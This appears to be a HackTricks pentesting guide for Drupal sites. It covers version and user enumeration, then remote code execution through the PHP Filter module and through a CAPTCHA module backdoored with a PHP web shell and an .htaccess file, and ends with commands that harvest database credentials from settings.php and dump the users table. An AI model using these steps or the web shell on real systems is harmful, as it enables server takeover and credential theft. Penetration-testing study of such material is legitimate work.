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200 lines
9 KiB
Markdown
200 lines
9 KiB
Markdown
# Drupal
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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## Discovery
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* Check **meta**
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```bash
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curl https://www.drupal.org/ | grep 'content="Drupal'
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```
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* **Node**: Drupal **indexes its content using nodes**. A node can **hold anything** such as a blog post, poll, article, etc. The page URIs are usually of the form `/node/<nodeid>`.
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```bash
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curl drupal-site.com/node/1
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```
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## Enumeration
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Drupal supports **three types of users** by default:
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1. **`Administrator`**: This user has complete control over the Drupal website.
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2. **`Authenticated User`**: These users can log in to the website and perform operations such as adding and editing articles based on their permissions.
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3. **`Anonymous`**: All website visitors are designated as anonymous. By default, these users are only allowed to read posts.
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### Version
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* Check `/CHANGELOG.txt`
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```bash
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curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
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Drupal 7.57, 2018-02-21
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```
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{% hint style="info" %}
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Newer installs of Drupal by default block access to the `CHANGELOG.txt` and `README.txt` files.
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{% endhint %}
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### Username enumeration
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#### Register
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In _/user/register_ just try to create a username and if the name is already taken it will be notified:
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.png>)
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#### Request new password
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If you request a new password for an existing username:
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.png>)
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If you request a new password for a non-existent username:
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.png>)
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### Get number of users
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Accessing _/user/\<number>_ you can see the number of existing users, in this case is 2 as _/users/3_ returns a not found error:
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.png>)
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 (1) (1).png>)
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### Hidden pages
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**Fuzz `/node/$` where `$` is a number** (from 1 to 500 for example).\
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You could find **hidden pages** (test, dev) which are not referenced by the search engines.
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#### Installed modules info
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```bash
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#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
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#Get info on installed modules
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curl https://example.com/config/sync/core.extension.yml
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curl https://example.com/core/core.services.yml
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# Download content from files exposed in the previous step
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curl https://example.com/config/sync/swiftmailer.transport.yml
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```
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### Automatic
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```bash
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droopescan scan drupal -u http://drupal-site.local
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```
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## RCE
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### With PHP Filter Module
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{% hint style="warning" %}
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In older versions of Drupal **(before version 8)**, it was possible to log in as an admin and **enable the `PHP filter` module**, which "Allows embedded PHP code/snippets to be evaluated."
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{% endhint %}
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You need the **plugin php to be installed** (check it accessing to _/modules/php_ and if it returns a **403** then, **exists**, if **not found**, then the **plugin php isn't installed**)
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Go to _Modules_ -> (**Check**) _PHP Filter_ -> _Save configuration_
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 (1).png>)
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Then click on _Add content_ -> Select _Basic Page_ or _Article -_> Write _php shellcode on the body_ -> Select _PHP code_ in _Text format_ -> Select _Preview_
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 (1).png>)
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Finally just access the newly created node:
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```bash
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curl http://drupal-site.local/node/3
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```
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### Install PHP Filter Module
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From version **8 onwards, the** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **module is not installed by default**. To leverage this functionality, we would have to **install the module ourselves**.
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1. Download the most recent version of the module from the Drupal website.
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1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
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2. Once downloaded go to **`Administration`** > **`Reports`** > **`Available updates`**.
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3. Click on **`Browse`**`,` select the file from the directory we downloaded it to, and then click **`Install`**.
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4. Once the module is installed, we can click on **`Content`** and **create a new basic page**, similar to how we did in the Drupal 7 example. Again, be sure to **select `PHP code` from the `Text format` dropdown**.
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### Backdoored Module
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A backdoored module can be created by **adding a shell to an existing module**. Modules can be found on the drupal.org website. Let's pick a module such as [CAPTCHA](https://www.drupal.org/project/captcha). Scroll down and copy the link for the tar.gz [archive](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
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* Download the archive and extract its contents.
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```
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wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
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tar xvf captcha-8.x-1.2.tar.gz
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```
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* Create a **PHP web shell** with the contents:
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```php
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<?php
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system($_GET["cmd"]);
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?>
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```
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* Next, we need to create a **`.htaccess`** file to give ourselves access to the folder. This is necessary as Drupal denies direct access to the **`/modules`** folder.
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```html
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<IfModule mod_rewrite.c>
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RewriteEngine On
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RewriteBase /
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</IfModule>
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```
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* The configuration above will apply rules for the / folder when we request a file in /modules. Copy both of these files to the captcha folder and create an archive.
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```bash
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mv shell.php .htaccess captcha
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tar cvf captcha.tar.gz captcha/
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```
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* Assuming we have **administrative access** to the website, click on **`Manage`** and then **`Extend`** on the sidebar. Next, click on the **`+ Install new module`** button, and we will be taken to the install page, such as `http://drupal-site.local/admin/modules/install` Browse to the backdoored Captcha archive and click **`Install`**.
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* Once the installation succeeds, browse to **`/modules/captcha/shell.php`** to execute commands.
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## Post Exploitation
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### Read settings.php
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```
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find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
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```
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### Dump users from DB
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```
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mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
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```
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## References
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* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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|
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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